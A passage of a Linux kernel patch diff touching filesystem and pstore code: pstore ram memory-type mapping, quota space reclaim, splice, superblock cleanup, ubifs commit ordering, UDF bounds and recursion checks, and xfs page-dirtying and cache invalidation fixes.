persistent_ram_update_header_ecc(prz); } -static void *persistent_ram_vmap(phys_addr_t start, size_t size) +static void *persistent_ram_vmap(phys_addr_t start, size_t size, + unsigned int memtype) { struct page **pages; phys_addr_t page_start; @@ -392,7 +393,10 @@ static void *persistent_ram_vmap(phys_addr_t start, size_t size) page_start = start - offset_in_page(start); page_count = DIV_ROUND_UP(size + offset_in_page(start), PAGE_SIZE); - prot = pgprot_writecombine(PAGE_KERNEL); + if (memtype) + prot = pgprot_noncached(PAGE_KERNEL); + else + prot = pgprot_writecombine(PAGE_KERNEL); pages = kmalloc(sizeof(struct page *) * page_count, GFP_KERNEL); if (!pages) { @@ -411,8 +415,11 @@ static void *persistent_ram_vmap(phys_addr_t start, size_t size) return vaddr; } -static void *persistent_ram_iomap(phys_addr_t start, size_t size) +static void *persistent_ram_iomap(phys_addr_t start, size_t size, + unsigned int memtype) { + void *va; + if (!request_mem_region(start, size, "persistent_ram")) { pr_err("request mem region (0x%llx@0x%llx) failed\n", (unsigned long long)size, (unsigned long long)start); @@ -422,19 +429,24 @@ static void *persistent_ram_iomap(phys_addr_t start, size_t size) buffer_start_add = buffer_start_add_locked; buffer_size_add = buffer_size_add_locked; - return ioremap_wc(start, size); + if (memtype) + va = ioremap(start, size); + else + va = ioremap_wc(start, size); + + return va; } static int persistent_ram_buffer_map(phys_addr_t start, phys_addr_t size, - struct persistent_ram_zone *prz) + struct persistent_ram_zone *prz, int memtype) { prz->paddr = start; prz->size = size; if (pfn_valid(start >> PAGE_SHIFT)) - prz->vaddr = persistent_ram_vmap(start, size); + prz->vaddr = persistent_ram_vmap(start, size, memtype); else - prz->vaddr = persistent_ram_iomap(start, size); + prz->vaddr = persistent_ram_iomap(start, size, memtype); if (!prz->vaddr) { pr_err("%s: Failed to map 0x%llx pages at 0x%llx\n", __func__, @@ -502,7 +514,8 @@ void persistent_ram_free(struct persistent_ram_zone *prz) } struct persistent_ram_zone *persistent_ram_new(phys_addr_t start, size_t size, - u32 sig, struct persistent_ram_ecc_info *ecc_info) + u32 sig, struct persistent_ram_ecc_info *ecc_info, + unsigned int memtype) { struct persistent_ram_zone *prz; int ret = -ENOMEM; @@ -513,7 +526,7 @@ struct persistent_ram_zone *persistent_ram_new(phys_addr_t start, size_t size, goto err; } - ret = persistent_ram_buffer_map(start, size, prz); + ret = persistent_ram_buffer_map(start, size, prz, memtype); if (ret) goto err; diff --git a/fs/quota/dquot.c b/fs/quota/dquot.c index 38802d683969e..4f7f451ca70db 100644 --- a/fs/quota/dquot.c +++ b/fs/quota/dquot.c @@ -637,7 +637,7 @@ int dquot_writeback_dquots(struct super_block *sb, int type) dqstats_inc(DQST_LOOKUPS); err = sb->dq_op->write_dquot(dquot); if (!ret && err) - err = ret; + ret = err; dqput(dquot); spin_lock(&dq_list_lock); } @@ -1102,6 +1102,14 @@ static void dquot_claim_reserved_space(struct dquot *dquot, qsize_t number) dquot->dq_dqb.dqb_rsvspace -= number; } +static void dquot_reclaim_reserved_space(struct dquot *dquot, qsize_t number) +{ + if (WARN_ON_ONCE(dquot->dq_dqb.dqb_curspace < number)) + number = dquot->dq_dqb.dqb_curspace; + dquot->dq_dqb.dqb_rsvspace += number; + dquot->dq_dqb.dqb_curspace -= number; +} + static inline void dquot_free_reserved_space(struct dquot *dquot, qsize_t number) { @@ -1536,6 +1544,15 @@ void inode_claim_rsv_space(struct inode *inode, qsize_t number) } EXPORT_SYMBOL(inode_claim_rsv_space); +void inode_reclaim_rsv_space(struct inode *inode, qsize_t number) +{ + spin_lock(&inode->i_lock); + *inode_reserved_space(inode) += number; + __inode_sub_bytes(inode, number); + spin_unlock(&inode->i_lock); +} +EXPORT_SYMBOL(inode_reclaim_rsv_space); + void inode_sub_rsv_space(struct inode *inode, qsize_t number) { spin_lock(&inode->i_lock); @@ -1709,6 +1726,35 @@ int dquot_claim_space_nodirty(struct inode *inode, qsize_t number) } EXPORT_SYMBOL(dquot_claim_space_nodirty); +/* + * Convert allocated space back to in-memory reserved quotas + */ +void dquot_reclaim_space_nodirty(struct inode *inode, qsize_t number) +{ + int cnt; + + if (!dquot_active(inode)) { + inode_reclaim_rsv_space(inode, number); + return; + } + + down_read(&sb_dqopt(inode->i_sb)->dqptr_sem); + spin_lock(&dq_data_lock); + /* Claim reserved quotas to allocated quotas */ + for (cnt = 0; cnt < MAXQUOTAS; cnt++) { + if (inode->i_dquot[cnt]) + dquot_reclaim_reserved_space(inode->i_dquot[cnt], + number); + } + /* Update inode bytes */ + inode_reclaim_rsv_space(inode, number); + spin_unlock(&dq_data_lock); + mark_all_dquot_dirty(inode->i_dquot); + up_read(&sb_dqopt(inode->i_sb)->dqptr_sem); + return; +} +EXPORT_SYMBOL(dquot_reclaim_space_nodirty); + /* * This operation can block, but only after everything is updated */ diff --git a/fs/reiserfs/reiserfs.h b/fs/reiserfs/reiserfs.h index 157e474ab3034..635a1425d3708 100644 --- a/fs/reiserfs/reiserfs.h +++ b/fs/reiserfs/reiserfs.h @@ -1954,8 +1954,6 @@ struct treepath var = {.path_length = ILLEGAL_PATH_ELEMENT_OFFSET, .reada = 0,} #define MAX_US_INT 0xffff // reiserfs version 2 has max offset 60 bits. Version 1 - 32 bit offset -#define U32_MAX (~(__u32)0) - static inline loff_t max_reiserfs_offset(struct inode *inode) { if (get_inode_item_key_version(inode) == KEY_FORMAT_3_5) diff --git a/fs/signalfd.c b/fs/signalfd.c index 424b7b65321fe..148f8e7af8827 100644 --- a/fs/signalfd.c +++ b/fs/signalfd.c @@ -121,8 +121,9 @@ static int signalfd_copyinfo(struct signalfd_siginfo __user *uinfo, * Other callers might not initialize the si_lsb field, * so check explicitly for the right codes here. */ - if (kinfo->si_code == BUS_MCEERR_AR || - kinfo->si_code == BUS_MCEERR_AO) + if (kinfo->si_signo == SIGBUS && + (kinfo->si_code == BUS_MCEERR_AR || + kinfo->si_code == BUS_MCEERR_AO)) err |= __put_user((short) kinfo->si_addr_lsb, &uinfo->ssi_addr_lsb); #endif diff --git a/fs/splice.c b/fs/splice.c index 4b5a5fac33832..2ffa7b0c62fd4 100644 --- a/fs/splice.c +++ b/fs/splice.c @@ -189,6 +189,9 @@ ssize_t splice_to_pipe(struct pipe_inode_info *pipe, unsigned int spd_pages = spd->nr_pages; int ret, do_wakeup, page_nr; + if (!spd_pages) + return 0; + ret = 0; do_wakeup = 0; page_nr = 0; @@ -949,6 +952,7 @@ ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd, splice_from_pipe_begin(sd); do { + cond_resched(); ret = splice_from_pipe_next(pipe, sd); if (ret > 0) ret = splice_from_pipe_feed(pipe, sd, actor); @@ -1012,13 +1016,17 @@ generic_file_splice_write(struct pipe_inode_info *pipe, struct file *out, struct address_space *mapping = out->f_mapping; struct inode *inode = mapping->host; struct splice_desc sd = { - .total_len = len, .flags = flags, - .pos = *ppos, .u.file = out, }; ssize_t ret; + ret = generic_write_checks(out, ppos, &len, S_ISBLK(inode->i_mode)); + if (ret) + return ret; + sd.total_len = len; + sd.pos = *ppos; + pipe_lock(pipe); splice_from_pipe_begin(&sd); @@ -1185,7 +1193,7 @@ ssize_t splice_direct_to_actor(struct file *in, struct splice_desc *sd, long ret, bytes; umode_t i_mode; size_t len; - int i, flags; + int i, flags, more; /* * We require the input being a regular file, as we don't want to @@ -1228,6 +1236,7 @@ ssize_t splice_direct_to_actor(struct file *in, struct splice_desc *sd, * Don't block on output, we have to drain the direct pipe. */ sd->flags &= ~SPLICE_F_NONBLOCK; + more = sd->flags & SPLICE_F_MORE; while (len) { size_t read_len; @@ -1240,6 +1249,15 @@ ssize_t splice_direct_to_actor(struct file *in, struct splice_desc *sd, read_len = ret; sd->total_len = read_len; + /* + * If more data is pending, set SPLICE_F_MORE + * If this is the last data and SPLICE_F_MORE was not set + * initially, clears it. + */ + if (read_len < len) + sd->flags |= SPLICE_F_MORE; + else if (!more) + sd->flags &= ~SPLICE_F_MORE; /* * NOTE: nonblocking mode only applies to the input. We * must not do the output in nonblocking mode as then we diff --git a/fs/stat.c b/fs/stat.c index 04ce1ac20d20b..d0ea7ef75e264 100644 --- a/fs/stat.c +++ b/fs/stat.c @@ -447,9 +447,8 @@ void inode_add_bytes(struct inode *inode, loff_t bytes) EXPORT_SYMBOL(inode_add_bytes); -void inode_sub_bytes(struct inode *inode, loff_t bytes) +void __inode_sub_bytes(struct inode *inode, loff_t bytes) { - spin_lock(&inode->i_lock); inode->i_blocks -= bytes >> 9; bytes &= 511; if (inode->i_bytes < bytes) { @@ -457,6 +456,14 @@ void inode_sub_bytes(struct inode *inode, loff_t bytes) inode->i_bytes += 512; } inode->i_bytes -= bytes; +} + +EXPORT_SYMBOL(__inode_sub_bytes); + +void inode_sub_bytes(struct inode *inode, loff_t bytes) +{ + spin_lock(&inode->i_lock); + __inode_sub_bytes(inode, bytes); spin_unlock(&inode->i_lock); } diff --git a/fs/super.c b/fs/super.c index c4b584433f221..2e35bff6db806 100644 --- a/fs/super.c +++ b/fs/super.c @@ -76,6 +76,8 @@ static int prune_super(struct shrinker *shrink, struct shrink_control *sc) total_objects = sb->s_nr_dentry_unused + sb->s_nr_inodes_unused + fs_objects + 1; + if (!total_objects) + total_objects = 1; if (sc->nr_to_scan) { int dentries; @@ -161,19 +163,6 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) s = NULL; goto out; } -#ifdef CONFIG_SMP - s->s_files = alloc_percpu(struct list_head); - if (!s->s_files) - goto err_out; - else { - int i; - - for_each_possible_cpu(i) - INIT_LIST_HEAD(per_cpu_ptr(s->s_files, i)); - } -#else - INIT_LIST_HEAD(&s->s_files); -#endif if (init_sb_writers(s, type)) goto err_out; s->s_flags = flags; @@ -223,10 +212,6 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) return s; err_out: security_sb_free(s); -#ifdef CONFIG_SMP - if (s->s_files) - free_percpu(s->s_files); -#endif destroy_sb_writers(s); kfree(s); s = NULL; @@ -241,9 +226,6 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) */ static inline void destroy_super(struct super_block *s) { -#ifdef CONFIG_SMP - free_percpu(s->s_files); -#endif destroy_sb_writers(s); security_sb_free(s); WARN_ON(!list_empty(&s->s_mounts)); @@ -724,7 +706,8 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force) make sure there are no rw files opened */ if (remount_ro) { if (force) { - mark_files_ro(sb); + sb->s_readonly_remount = 1; + smp_wmb(); } else { retval = sb_prepare_remount_readonly(sb); if (retval) diff --git a/fs/sysv/inode.c b/fs/sysv/inode.c index c327d4ee12354..7b3792e5844a3 100644 --- a/fs/sysv/inode.c +++ b/fs/sysv/inode.c @@ -161,14 +161,8 @@ void sysv_set_inode(struct inode *inode, dev_t rdev) inode->i_fop = &sysv_dir_operations; inode->i_mapping->a_ops = &sysv_aops; } else if (S_ISLNK(inode->i_mode)) { - if (inode->i_blocks) { - inode->i_op = &sysv_symlink_inode_operations; - inode->i_mapping->a_ops = &sysv_aops; - } else { - inode->i_op = &sysv_fast_symlink_inode_operations; - nd_terminate_link(SYSV_I(inode)->i_data, inode->i_size, - sizeof(SYSV_I(inode)->i_data) - 1); - } + inode->i_op = &sysv_symlink_inode_operations; + inode->i_mapping->a_ops = &sysv_aops; } else init_special_inode(inode, inode->i_mode, rdev); } diff --git a/fs/ubifs/commit.c b/fs/ubifs/commit.c index 4202edd07ce1a..7636c40e3b517 100644 --- a/fs/ubifs/commit.c +++ b/fs/ubifs/commit.c @@ -164,17 +164,12 @@ static int do_commit(struct ubifs_info *c) if (err) goto out; err = ubifs_orphan_end_commit(c); - if (err) - goto out; - old_ltail_lnum = c->ltail_lnum; - err = ubifs_log_end_commit(c, new_ltail_lnum); if (err) goto out; err = dbg_check_old_index(c, &zroot); if (err) goto out; - mutex_lock(&c->mst_mutex); c->mst_node->cmt_no = cpu_to_le64(c->cmt_no); c->mst_node->log_lnum = cpu_to_le32(new_ltail_lnum); c->mst_node->root_lnum = cpu_to_le32(zroot.lnum); @@ -203,8 +198,9 @@ static int do_commit(struct ubifs_info *c) c->mst_node->flags |= cpu_to_le32(UBIFS_MST_NO_ORPHS); else c->mst_node->flags &= ~cpu_to_le32(UBIFS_MST_NO_ORPHS); - err = ubifs_write_master(c); - mutex_unlock(&c->mst_mutex); + + old_ltail_lnum = c->ltail_lnum; + err = ubifs_log_end_commit(c, new_ltail_lnum); if (err) goto out; diff --git a/fs/ubifs/file.c b/fs/ubifs/file.c index 990274f52d207..78a78ff6d9810 100644 --- a/fs/ubifs/file.c +++ b/fs/ubifs/file.c @@ -54,6 +54,7 @@ #include #include #include +#include static int read_block(struct inode *inode, void *addr, unsigned int block, struct ubifs_data_node *dn) @@ -1429,6 +1430,26 @@ static int ubifs_set_page_dirty(struct page *page) return ret; } +#ifdef CONFIG_MIGRATION +static int ubifs_migrate_page(struct address_space *mapping, + struct page *newpage, struct page *page, enum migrate_mode mode) +{ + int rc; + + rc = migrate_page_move_mapping(mapping, newpage, page, NULL, mode); + if (rc != MIGRATEPAGE_SUCCESS) + return rc; + + if (PagePrivate(page)) { + ClearPagePrivate(page); + SetPagePrivate(newpage); + } + + migrate_page_copy(newpage, page); + return MIGRATEPAGE_SUCCESS; +} +#endif + static int ubifs_releasepage(struct page *page, gfp_t unused_gfp_flags) { /* @@ -1565,6 +1586,9 @@ const struct address_space_operations ubifs_file_address_operations = { .write_end = ubifs_write_end, .invalidatepage = ubifs_invalidatepage, .set_page_dirty = ubifs_set_page_dirty, +#ifdef CONFIG_MIGRATION + .migratepage = ubifs_migrate_page, +#endif .releasepage = ubifs_releasepage, }; diff --git a/fs/ubifs/log.c b/fs/ubifs/log.c index e3fab8672c958..6923e69589ae1 100644 --- a/fs/ubifs/log.c +++ b/fs/ubifs/log.c @@ -106,10 +106,14 @@ static inline long long empty_log_bytes(const struct ubifs_info *c) h = (long long)c->lhead_lnum * c->leb_size + c->lhead_offs; t = (long long)c->ltail_lnum * c->leb_size; - if (h >= t) + if (h > t) return c->log_bytes - h + t; - else + else if (h != t) return t - h; + else if (c->lhead_lnum != c->ltail_lnum) + return 0; + else + return c->log_bytes; } /** @@ -447,9 +451,9 @@ int ubifs_log_start_commit(struct ubifs_info *c, int *ltail_lnum) * @ltail_lnum: new log tail LEB number * * This function is called on when the commit operation was finished. It - * moves log tail to new position and unmaps LEBs which contain obsolete data. - * Returns zero in case of success and a negative error code in case of - * failure. + * moves log tail to new position and updates the master node so that it stores + * the new log tail LEB number. Returns zero in case of success and a negative + * error code in case of failure. */ int ubifs_log_end_commit(struct ubifs_info *c, int ltail_lnum) { @@ -477,7 +481,12 @@ int ubifs_log_end_commit(struct ubifs_info *c, int ltail_lnum) spin_unlock(&c->buds_lock); err = dbg_check_bud_bytes(c); + if (err) + goto out; + err = ubifs_write_master(c); + +out: mutex_unlock(&c->log_mutex); return err; } diff --git a/fs/ubifs/master.c b/fs/ubifs/master.c index ff62b6cddd9ec..1aaa3504bc37d 100644 --- a/fs/ubifs/master.c +++ b/fs/ubifs/master.c @@ -353,10 +353,9 @@ int ubifs_read_master(struct ubifs_info *c) * ubifs_write_master - write master node. * @c: UBIFS file-system description object * - * This function writes the master node. The caller has to take the - * @c->mst_mutex lock before calling this function. Returns zero in case of - * success and a negative error code in case of failure. The master node is - * written twice to enable recovery. + * This function writes the master node. Returns zero in case of success and a + * negative error code in case of failure. The master node is written twice to + * enable recovery. */ int ubifs_write_master(struct ubifs_info *c) { diff --git a/fs/ubifs/super.c b/fs/ubifs/super.c index d072536b501b4..1bc1824833947 100644 --- a/fs/ubifs/super.c +++ b/fs/ubifs/super.c @@ -1984,7 +1984,6 @@ static struct ubifs_info *alloc_ubifs_info(struct ubi_volume_desc *ubi) mutex_init(&c->lp_mutex); mutex_init(&c->tnc_mutex); mutex_init(&c->log_mutex); - mutex_init(&c->mst_mutex); mutex_init(&c->umount_mutex); mutex_init(&c->bu_mutex); mutex_init(&c->write_reserve_mutex); diff --git a/fs/ubifs/ubifs.h b/fs/ubifs/ubifs.h index 817f36f91560e..873a225385204 100644 --- a/fs/ubifs/ubifs.h +++ b/fs/ubifs/ubifs.h @@ -1047,7 +1047,6 @@ struct ubifs_debug_info; * * @mst_node: master node * @mst_offs: offset of valid master node - * @mst_mutex: protects the master node area, @mst_node, and @mst_offs * * @max_bu_buf_len: maximum bulk-read buffer length * @bu_mutex: protects the pre-allocated bulk-read buffer and @c->bu @@ -1287,7 +1286,6 @@ struct ubifs_info { struct ubifs_mst_node *mst_node; int mst_offs; - struct mutex mst_mutex; int max_bu_buf_len; struct mutex bu_mutex; diff --git a/fs/udf/inode.c b/fs/udf/inode.c index b6d15d349810f..5c1120a5fa427 100644 --- a/fs/udf/inode.c +++ b/fs/udf/inode.c @@ -1270,13 +1270,22 @@ int udf_setsize(struct inode *inode, loff_t newsize) return 0; } +/* + * Maximum length of linked list formed by ICB hierarchy. The chosen number is + * arbitrary - just that we hopefully don't limit any real use of rewritten + * inode on write-once media but avoid looping for too long on corrupted media. + */ +#define UDF_MAX_ICB_NESTING 1024 + static void __udf_read_inode(struct inode *inode) { struct buffer_head *bh = NULL; struct fileEntry *fe; uint16_t ident; struct udf_inode_info *iinfo = UDF_I(inode); + unsigned int indirections = 0; +reread: /* * Set defaults, but the inode is still incomplete! * Note: get_new_inode() sets the following on a new inode: @@ -1313,28 +1322,26 @@ static void __udf_read_inode(struct inode *inode) ibh = udf_read_ptagged(inode->i_sb, &iinfo->i_location, 1, &ident); if (ident == TAG_IDENT_IE && ibh) { - struct buffer_head *nbh = NULL; struct kernel_lb_addr loc; struct indirectEntry *ie; ie = (struct indirectEntry *)ibh->b_data; loc = lelb_to_cpu(ie->indirectICB.extLocation); - if (ie->indirectICB.extLength && - (nbh = udf_read_ptagged(inode->i_sb, &loc, 0, - &ident))) { - if (ident == TAG_IDENT_FE || - ident == TAG_IDENT_EFE) { - memcpy(&iinfo->i_location, - &loc, - sizeof(struct kernel_lb_addr)); - brelse(bh); - brelse(ibh); - brelse(nbh); - __udf_read_inode(inode); + if (ie->indirectICB.extLength) { + brelse(bh); + brelse(ibh); + memcpy(&iinfo->i_location, &loc, + sizeof(struct kernel_lb_addr)); + if (++indirections > UDF_MAX_ICB_NESTING) { + udf_err(inode->i_sb, + "too many ICBs in ICB hierarchy" + " (max %d supported)\n", + UDF_MAX_ICB_NESTING); + make_bad_inode(inode); return; } - brelse(nbh); + goto reread; } } brelse(ibh); @@ -1488,6 +1495,16 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh) iinfo->i_checkpoint = le32_to_cpu(efe->checkpoint); } + /* + * Sanity check length of allocation descriptors and extended attrs to + * avoid integer overflows + */ + if (iinfo->i_lenEAttr > inode->i_sb->s_blocksize || iinfo->i_lenAlloc > inode->i_sb->s_blocksize) + return; + /* Now do exact checks */ + if (udf_file_entry_alloc_offset(inode) + iinfo->i_lenAlloc > inode->i_sb->s_blocksize) + return; + switch (fe->icbTag.fileType) { case ICBTAG_FILE_TYPE_DIRECTORY: inode->i_op = &udf_dir_inode_operations; @@ -2038,14 +2055,29 @@ void udf_write_aext(struct inode *inode, struct extent_position *epos, epos->offset += adsize; } +/* + * Only 1 indirect extent in a row really makes sense but allow upto 16 in case + * someone does some weird stuff. + */ +#define UDF_MAX_INDIR_EXTS 16 + int8_t udf_next_aext(struct inode *inode, struct extent_position *epos, struct kernel_lb_addr *eloc, uint32_t *elen, int inc) { int8_t etype; + unsigned int indirections = 0; while ((etype = udf_current_aext(inode, epos, eloc, elen, inc)) == (EXT_NEXT_EXTENT_ALLOCDECS >> 30)) { int block; + + if (++indirections > UDF_MAX_INDIR_EXTS) { + udf_err(inode->i_sb, + "too many indirect extents in inode %lu\n", + inode->i_ino); + return -1; + } + epos->block = *eloc; epos->offset = sizeof(struct allocExtDesc); brelse(epos->bh); diff --git a/fs/udf/symlink.c b/fs/udf/symlink.c index d7c6dbe4194bb..d89f324bc3879 100644 --- a/fs/udf/symlink.c +++ b/fs/udf/symlink.c @@ -80,11 +80,17 @@ static int udf_symlink_filler(struct file *file, struct page *page) struct inode *inode = page->mapping->host; struct buffer_head *bh = NULL; unsigned char *symlink; - int err = -EIO; + int err; unsigned char *p = kmap(page); struct udf_inode_info *iinfo; uint32_t pos; + /* We don't support symlinks longer than one block */ + if (inode->i_size > inode->i_sb->s_blocksize) { + err = -ENAMETOOLONG; + goto out_unmap; + } + iinfo = UDF_I(inode); pos = udf_block_map(inode, 0); @@ -94,8 +100,10 @@ static int udf_symlink_filler(struct file *file, struct page *page) } else { bh = sb_bread(inode->i_sb, pos); - if (!bh) - goto out; + if (!bh) { + err = -EIO; + goto out_unlock_inode; + } symlink = bh->b_data; } @@ -109,9 +117,10 @@ static int udf_symlink_filler(struct file *file, struct page *page) unlock_page(page); return 0; -out: +out_unlock_inode: up_read(&iinfo->i_data_sem); SetPageError(page); +out_unmap: kunmap(page); unlock_page(page); return err; diff --git a/fs/udf/unicode.c b/fs/udf/unicode.c index 44b815e57f943..685fbd8a29379 100644 --- a/fs/udf/unicode.c +++ b/fs/udf/unicode.c @@ -132,11 +132,15 @@ int udf_CS0toUTF8(struct ustr *utf_o, const struct ustr *ocu_i) if (c < 0x80U) utf_o->u_name[utf_o->u_len++] = (uint8_t)c; else if (c < 0x800U) { + if (utf_o->u_len > (UDF_NAME_LEN - 4)) + break; utf_o->u_name[utf_o->u_len++] = (uint8_t)(0xc0 | (c >> 6)); utf_o->u_name[utf_o->u_len++] = (uint8_t)(0x80 | (c & 0x3f)); } else { + if (utf_o->u_len > (UDF_NAME_LEN - 5)) + break; utf_o->u_name[utf_o->u_len++] = (uint8_t)(0xe0 | (c >> 12)); utf_o->u_name[utf_o->u_len++] = @@ -177,17 +181,22 @@ int udf_CS0toUTF8(struct ustr *utf_o, const struct ustr *ocu_i) static int udf_UTF8toCS0(dstring *ocu, struct ustr *utf, int length) { unsigned c, i, max_val, utf_char; - int utf_cnt, u_len; + int utf_cnt, u_len, u_ch; memset(ocu, 0, sizeof(dstring) * length); ocu[0] = 8; max_val = 0xffU; + u_ch = 1; try_again: u_len = 0U; utf_char = 0U; utf_cnt = 0U; for (i = 0U; i < utf->u_len; i++) { + /* Name didn't fit? */ + if (u_len + 1 + u_ch >= length) + return 0; + c = (uint8_t)utf->u_name[i]; /* Complete a multi-byte UTF-8 character */ @@ -229,6 +238,7 @@ static int udf_UTF8toCS0(dstring *ocu, struct ustr *utf, int length) if (max_val == 0xffU) { max_val = 0xffffU; ocu[0] = (uint8_t)0x10U; + u_ch = 2; goto try_again; } goto error_out; @@ -281,7 +291,7 @@ static int udf_CS0toNLS(struct nls_table *nls, struct ustr *utf_o, c = (c << 8) | ocu[i++]; len = nls->uni2char(c, &utf_o->u_name[utf_o->u_len], - UDF_NAME_LEN - utf_o->u_len); + UDF_NAME_LEN - 2 - utf_o->u_len); /* Valid character? */ if (len >= 0) utf_o->u_len += len; @@ -299,15 +309,19 @@ static int udf_NLStoCS0(struct nls_table *nls, dstring *ocu, struct ustr *uni, int len; unsigned i, max_val; uint16_t uni_char; - int u_len; + int u_len, u_ch; memset(ocu, 0, sizeof(dstring) * length); ocu[0] = 8; max_val = 0xffU; + u_ch = 1; try_again: u_len = 0U; for (i = 0U; i < uni->u_len; i++) { + /* Name didn't fit? */ + if (u_len + 1 + u_ch >= length) + return 0; len = nls->char2uni(&uni->u_name[i], uni->u_len - i, &uni_char); if (!len) continue; @@ -320,6 +334,7 @@ static int udf_NLStoCS0(struct nls_table *nls, dstring *ocu, struct ustr *uni, if (uni_char > max_val) { max_val = 0xffffU; ocu[0] = (uint8_t)0x10U; + u_ch = 2; goto try_again; } diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 41a695048be7b..cfbb4c1b2f17d 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1661,11 +1661,72 @@ xfs_vm_readpages( return mpage_readpages(mapping, pages, nr_pages, xfs_get_blocks); } +/* + * This is basically a copy of __set_page_dirty_buffers() with one + * small tweak: buffers beyond EOF do not get marked dirty. If we mark them + * dirty, we'll never be able to clean them because we don't write buffers + * beyond EOF, and that means we can't invalidate pages that span EOF + * that have been marked dirty. Further, the dirty state can leak into + * the file interior if the file is extended, resulting in all sorts of + * bad things happening as the state does not match the underlying data. + * + * XXX: this really indicates that bufferheads in XFS need to die. Warts like + * this only exist because of bufferheads and how the generic code manages them. + */ +STATIC int +xfs_vm_set_page_dirty( + struct page *page) +{ + struct address_space *mapping = page->mapping; + struct inode *inode = mapping->host; + loff_t end_offset; + loff_t offset; + int newly_dirty; + + if (unlikely(!mapping)) + return !TestSetPageDirty(page); + + end_offset = i_size_read(inode); + offset = page_offset(page); + + spin_lock(&mapping->private_lock); + if (page_has_buffers(page)) { + struct buffer_head *head = page_buffers(page); + struct buffer_head *bh = head; + + do { + if (offset < end_offset) + set_buffer_dirty(bh); + bh = bh->b_this_page; + offset += 1 << inode->i_blkbits; + } while (bh != head); + } + newly_dirty = !TestSetPageDirty(page); + spin_unlock(&mapping->private_lock); + + if (newly_dirty) { + /* sigh - __set_page_dirty() is static, so copy it here, too */ + unsigned long flags; + + spin_lock_irqsave(&mapping->tree_lock, flags); + if (page->mapping) { /* Race with truncate? */ + WARN_ON_ONCE(!PageUptodate(page)); + account_page_dirtied(page, mapping); + radix_tree_tag_set(&mapping->page_tree, + page_index(page), PAGECACHE_TAG_DIRTY); + } + spin_unlock_irqrestore(&mapping->tree_lock, flags); + __mark_inode_dirty(mapping->host, I_DIRTY_PAGES); + } + return newly_dirty; +} + const struct address_space_operations xfs_address_space_operations = { .readpage = xfs_vm_readpage, .readpages = xfs_vm_readpages, .writepage = xfs_vm_writepage, .writepages = xfs_vm_writepages, + .set_page_dirty = xfs_vm_set_page_dirty, .releasepage = xfs_vm_releasepage, .invalidatepage = xfs_vm_invalidatepage, .write_begin = xfs_vm_write_begin, diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 4ec4317770487..e0451f4201cf4 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -296,6 +296,10 @@ xfs_buf_item_format( ASSERT(atomic_read(&bip->bli_refcount) > 0); ASSERT((bip->bli_flags & XFS_BLI_LOGGED) || (bip->bli_flags & XFS_BLI_STALE)); + ASSERT((bip->bli_flags & XFS_BLI_STALE) || + (xfs_blft_from_flags(&bip->__bli_format) > XFS_BLFT_UNKNOWN_BUF + && xfs_blft_from_flags(&bip->__bli_format) < XFS_BLFT_MAX_BUF)); + /* * If it is an inode buffer, transfer the in-memory state to the diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 044e97a33c8d0..bac3e1635b7d3 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -1104,7 +1104,8 @@ xfs_qm_dqflush( * Get the buffer containing the on-disk dquot */ error = xfs_trans_read_buf(mp, NULL, mp->m_ddev_targp, dqp->q_blkno, - mp->m_quotainfo->qi_dqchunklen, 0, &bp, NULL); + mp->m_quotainfo->qi_dqchunklen, 0, &bp, + &xfs_dquot_buf_ops); if (error) goto out_unlock; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index a5f2042aec8b2..9f457fedbcfcc 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -298,7 +298,16 @@ xfs_file_aio_read( xfs_rw_iunlock(ip, XFS_IOLOCK_EXCL); return ret; } - truncate_pagecache_range(VFS_I(ip), pos, -1); + + /* + * Invalidate whole pages. This can return an error if + * we fail to invalidate a page, but this should never + * happen on XFS. Warn if it does fail. + */ + ret = invalidate_inode_pages2_range(VFS_I(ip)->i_mapping, + pos >> PAGE_CACHE_SHIFT, -1); + WARN_ON_ONCE(ret); + ret = 0; } xfs_rw_ilock_demote(ip, XFS_IOLOCK_EXCL); } @@ -677,7 +686,15 @@ xfs_file_dio_aio_write( pos, -1); if (ret) goto out; - truncate_pagecache_range(VFS_I(ip), pos, -1); + /* + * Invalidate whole pages. This can return an error if + * we fail to invalidate a page, but this should never + * happen on XFS. Warn if it does fail. + */ + ret = invalidate_inode_pages2_range(VFS_I(ip)->i_mapping, + pos >> PAGE_CACHE_SHIFT, -1); + WARN_ON_ONCE(ret); + ret = 0; } /* diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 7f7be5f98f52f..06dec557d2477 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1655,6 +1655,7 @@ xfs_iunlink( agi->agi_unlinked[bucket_index] = cpu_to_be32(agino); offset = offsetof(xfs_agi_t, agi_unlinked) + (sizeof(xfs_agino_t) * bucket_index); + xfs_trans_buf_set_type(tp, agibp, XFS_BLFT_AGI_BUF); xfs_trans_log_buf(tp, agibp, offset, (offset + sizeof(xfs_agino_t) - 1)); return 0; @@ -1746,6 +1747,7 @@ xfs_iunlink_remove( agi->agi_unlinked[bucket_index] = cpu_to_be32(next_agino); offset = offsetof(xfs_agi_t, agi_unlinked) + (sizeof(xfs_agino_t) * bucket_index); + xfs_trans_buf_set_type(tp, agibp, XFS_BLFT_AGI_BUF); xfs_trans_log_buf(tp, agibp, offset, (offset + sizeof(xfs_agino_t) - 1)); } else { @@ -2602,13 +2604,14 @@ xfs_iflush_cluster( * We need to check under the i_flags_lock for a valid inode * here. Skip it if it is not valid or the wrong inode. */ - spin_lock(&ip->i_flags_lock); - if (!ip->i_ino || + spin_lock(&iq->i_flags_lock); + if (!iq->i_ino || + __xfs_iflags_test(iq, XFS_ISTALE) || (XFS_INO_TO_AGINO(mp, iq->i_ino) & mask) 